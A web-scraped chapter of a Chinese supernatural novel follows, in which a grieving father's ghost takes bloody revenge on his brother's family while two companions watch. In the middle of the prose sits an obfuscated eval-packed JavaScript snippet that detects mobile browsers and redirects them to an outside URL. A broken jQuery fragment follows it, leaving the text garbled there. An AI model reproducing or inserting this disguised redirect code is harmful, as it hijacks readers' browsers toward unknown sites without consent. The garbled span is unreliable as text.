默认冷灰
24号文字
方正启体

59. 第 59 章

作者:添禾本书字数:K更新时间:
    秋夜凉风灌入狐仙庙,卷起一地枯草随风打转。


    许昀守在何贵身旁眼睁睁看着他气息全无,脸色酱紫,由一个活生生的人变为一具周身冰冷的尸体。


    他眼眶微湿,让青瑶唤上马夫去隔壁棺木行买一套寿衣,一口棺材和些许纸钱元宝。


    棺材被抬来时,仍未见有鬼差来牵何贵的魂魄。


    莫不是地府也嫌弃他,不肯让他入黄泉。


    许昀替何贵摘掉蓬乱头发上的杂草,与肖无疾和马夫三人合力抬起何贵的尸体,正要装入棺材时,肖无疾目光扫到何贵脊背上探出的一角黄纸,突然眉目一凝,忙道:“且慢!”


    肖无疾伸手将黄纸撕下。


    黄纸上画有朱砂图样,打眼看去与普通道士所用的镇鬼符箓并无明显区别,可最下一排隐约小字却是让肖无疾陡然变了脸色。


    “这是东南沿海一带的邪符,若是贴在将死之人身上,死后便会化作厉鬼。”厉鬼行出恶事,永不得入幽冥。


    肖无疾在多年前在东南行医时曾见过这邪符的威力,可在圣京城还是头一回见到。


    他问老妇,“红儿死后何贵可有去见过什么人?”


    老妇抹干眼泪,“他能去见什么人,往日无朋友,就连亲兄长都弃他如敝履,这几日就是躺在庙里发呆,老身未见他出门……”


    反应过来肖无疾意有所指,老妇似是想起了什么。


    “对了……红儿死的那一晚,老身曾在梦中听见有人在屋里低声说话,可睁开眼却未见有旁人,只看见何贵坐在地上,呆愣愣地瞧着庙门,我还以为是他太过想红儿自言自语呢,但现在回想,若是当真这邪符是旁人给他的只能是在那时。”


    青瑶看了眼许昀,“当晚郎君说第二日一早带他去报官,他应下了,可第二日却说是他自己失手害死了红儿,要将红儿下葬,莫非……他要变作厉鬼亲手为红儿报仇?”


    这便说得通了,红儿死去当晚有人来庙中给了何贵邪符和毒药,他才改变了主意。


    何贵身患痹症,口难言明,也不可能认识懂邪术的人,这道符会是从哪儿来的?


    夜风灌了满堂,一道黑影落入屋中。


    肖无疾一声惊呼,“是何贵的魂魄!”


    许昀猛然回头,就见一团黑气在他身后逐渐凝结成了何贵的模样,魂魄不再受残缺身体的束缚,反倒挺直了脊背,面容也不再像他生时那般扭曲了。


    许昀站起身来,面向何贵的魂魄,走上前两步,想尽量控制住他心里的怨恨。


    “你从前有苦难言,我知你心里委屈,可否同我说说你的遭遇,若是有冤,我为你去伸,何贵,红儿还在黄泉路上等你,你万莫要做出傻事。”


    何贵的魂魄苦笑了一声,“许二郎君,多谢你,我没有保护好红儿,没有颜面再去见她。”


    他活动了几下伸缩自如的双腿,口中的话从未有过的流利,“那日,我带红儿去闹事中买糖人,恰见我兄长的马车停在一处酒楼门外,他虽对我无情,可毕竟是我的亲人,也是红儿的伯父,我对红儿道:‘这是伯父家的马车’,红儿被车帘上绣着花草吸引了目光,兴奋地伸出手去抓扯,对面碰巧有几个顽皮孩童路过,朝我丢石子,一粒石子恰砸在马腿上,马受了惊,扬起马蹄嘶吼,车内装着的几坛酒倾倒滚落了下来,尽数砸碎,酒水散了一地。我兄长闻声从酒楼出来,以为是我故意为之,说我若管教不好红儿,日后便由他来管教,他指使下人抢走了红儿,可我……追不上他们。”


    说至此处,何贵已是痛不欲生。


    “待我找到红儿时,她正躺在地上,头上一个大血窟窿!”


    他的面容忽而变得凶厉,“我只想让他尝到苦果!为我可怜的红儿报仇。”


    刚凝结成形的黑气一瞬间散开,伴着一阵呜咽随夜风朝庙外飘去。


    黑气疾走如风,待出了奉终里,早已不知去向。


    许昀跑在街上,四处喊着何贵的名字,劲风席卷落叶,吹扬他身上的薄衣,周围除了风声,没有任何应答。


    “郎君!”青瑶手拿着一件破烂的衣衫,从身后跑来。


    “烧尽死者生前一件常服,便能知晓鬼魂所去何处。”


    肖无疾从街对面走来,“我也想起了这个方法,刚想回狐仙庙去寻。”


    他手中拢起一团火苗,顷刻便将何贵的旧衣烧着。


    白烟丝丝缕缕升腾上夜空,集结成一束蜿蜒的轻尘往城中飘去。


    三人紧追在白烟后头,到了临川邸附近时,那缕白烟忽而分做一粗一细两缕,飘向了两个方向。


    细的那缕入了一个意想不到的地方,青瑶诧道:“郎君,快看!”


    许昀转眸,只见那缕烟越过临川邸的前的树影,飘进了慧慈君寺,萦绕在若隐若现的佛塔上空,忽而落下,被高耸的院墙遮挡,再看不见了。


    许是逆向而来的风势歇了,另一缕白烟走得又快又急,直冲向城东方向。


    “肖神医,你带郎君去追,我知晓慧慈君寺的后门,前去看看。”


    许昀来不及多等,随着另外一缕白烟到了何家酒坊的后宅。


    许昀和肖无疾入院时,正见几个下人打扮的男女惊吼着从膳厅中跌跌撞撞地往外跑。


    “有鬼啊!鬼啊……”


    随即一阵疾风将门在他们身后重重阖上。


    膳厅内,何贵兄长一家四口尽数被堵在屋中无法出来,绝望地挤在一处,叫天天不应,叫地地不灵。


    只听得门外一阵急促的拍门声,许昀喊了一路,嗓子几乎嘶哑,“何贵,快开门!”


    屋中传出男女歇斯底里的叫喊声,瞬间将许昀的声音压下。


    肖无疾手上蓄了一股力道,朝前一推,许昀只觉身后一阵疾风吹来,门板在他眼前轰然倒下。


    屋内,何贵的兄长何富整个人被高高吊在房梁顶上,吓得面色扭曲,涕泗横流。


    趴在地上哆哆嗦嗦的另外几个人看不见何贵的魂魄,眼睛惊恐地四处逡巡,生怕有鬼手突然伸抓到他们身上。


    一阵悲戚的狂笑声响彻屋中每个角落,何贵愤恨的声音从房梁上传来,“你违背爹娘所托,把我像一条狗一样赶出家门,我毫无怨言,为何你不能放过我们父女二人!你这个刽子手,为什么要那般残忍地杀害我女儿!她也姓何,是你的侄女啊……”


    何富闭着眼,几欲吓破了胆,哭求道:“那日之事,不怪我啊!别来找我,别来找我……是下人失手摔了红儿,与我无关……我如何能狠心下得去手!”


    何贵冷哼了一声,逼问道:“是谁摔的她?孔三还是李二?”


    “孔三……”何富脱口而出,又瞬间意识到不对,孔三去年随爹娘一道外出,被歹人给杀了。


    他立马改口,“是……是李二!”


    “你死到临头还在撒谎,那日我在街上根本没有看见李二!他被你派到城外酒坊送酒去了罢?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150973|194370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “他……他……”谎言被揭穿,何富明白何贵不会放过自己,浑身抖如筛糠,心中想要再哀求何贵,可口中却似被塞了一团浆糊,如何都开不了口。


    何贵咬牙切齿,周身笼罩着一层蒸腾的黑气气,愈发浓烈,长蛇一般缠绕上何富的身体。


    “何贵!住手!”许昀站在门口,高声唤何贵,“你若是杀了他,便是犯下了大错,你不想再见红儿和你爹娘了吗?”


    听到女儿和爹娘,何贵眼中划过一丝温情,可转瞬便被汹涌而来的恨意所取代。


    何贵面露狰狞,抓着何富高高举过头顶。


    何富身体如一个轻飘飘的物件一般随着他手臂起落,被扔上房梁,又从房梁上重重摔了下来。


    一声重响,何富没来得及呼喊,便再也发不出声音了,他头顶磕到了饭桌一角,血浆顷刻迸溅了妻儿一身。


    死相一如那日的红儿。


    何贵的魂魄飘落在地上,一步步走向自己惊恐万分的嫂嫂。


    那妇人闭眼不敢看,吓得身体动不得,何贵抓着将她的衣襟将她摔到了一旁的灶台上,举起案板上锋利的斩骨刀在她身上划了数道,妇人顷刻间变得血肉模糊,瘫到在炉灶旁,口中还发出断断续续的求饶声。


    何贵的侄媳妇吓得失了声,直往夫君怀里钻。


    何贵眼中闪过一丝猩红,慢慢走向二人。


    他侄儿看不见他,慌张地护在妻子身前,道:“二叔,是爹娘错了,我娘子腹中怀了孩儿,求二叔别伤她,放过我们二人,侄儿会将您和妹妹的棺椁接入祖坟,葬在大父大母旁边。”


    何贵身子一顿,脸上闪过一丝柔情,侄儿比他小不了几岁,家中除了父母,侄儿待他最好。


    小时他被人欺负,都是侄儿挺身而出。


    他被兄长赶出家门后,侄儿得知了他的落脚地,曾去奉终里看过他两回,还给红儿带了吃的和衣裳。


    侄儿成婚那日,何贵偷偷地藏在人群中随着他去接亲,本想着远远看他和他新婚妻子一眼便算贺他新婚了,可何贵身患残疾太过惹眼,还是被新娘家发现了。


    新娘家是远近闻名的财主,财大自然气粗,当场责怪侄儿不该让他来,侄儿极力讨好岳家也默认了何贵丢了何家的脸,在街上斥骂了他几声,接着不知从哪儿钻出来一群打手追着他和红儿拼命打,险些要了他的命。


    一想到这件事,何贵心里残存的一点儿亲情瞬间消散,“你们又何曾放过我的孩儿……”


    他伸出满是黑气的手掌抓向了侄儿和侄媳的头颅……


    许昀想要上前制止,被肖无疾拦下,“他理智尽失,已是厉鬼,你救不了他,他兄长一家也应承受他们种下的因果,不如就让何贵痛快一回。”


    许昀和肖无疾眼看着何贵杀光了他兄嫂一家,随后魂魄冲出房梁朝狐仙庙方向飞去。


    “何贵大仇得报,想必是去红儿的坟前了。”


    二人赶到狐仙庙后的土丘上时,正见何贵的魂魄兀立在坟头旁,听见身后的声音,何贵回过身来。


    “多谢两位郎君的相助,日后你们若是得空,劳烦替我来此看看我苦命的女儿。”


    他仰望天空,似是再没有任何遗憾,“我要去兑现诺言了!”


    晦暗穹顶射出一道刺眼的金光,一股熟悉之感涌上许昀心头,他惊诧地仰头看那金光的源头,曾经见过的怪眼从云层中探出,如星辰般闪烁了一下,瞬间将何贵的魂魄吸入其中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)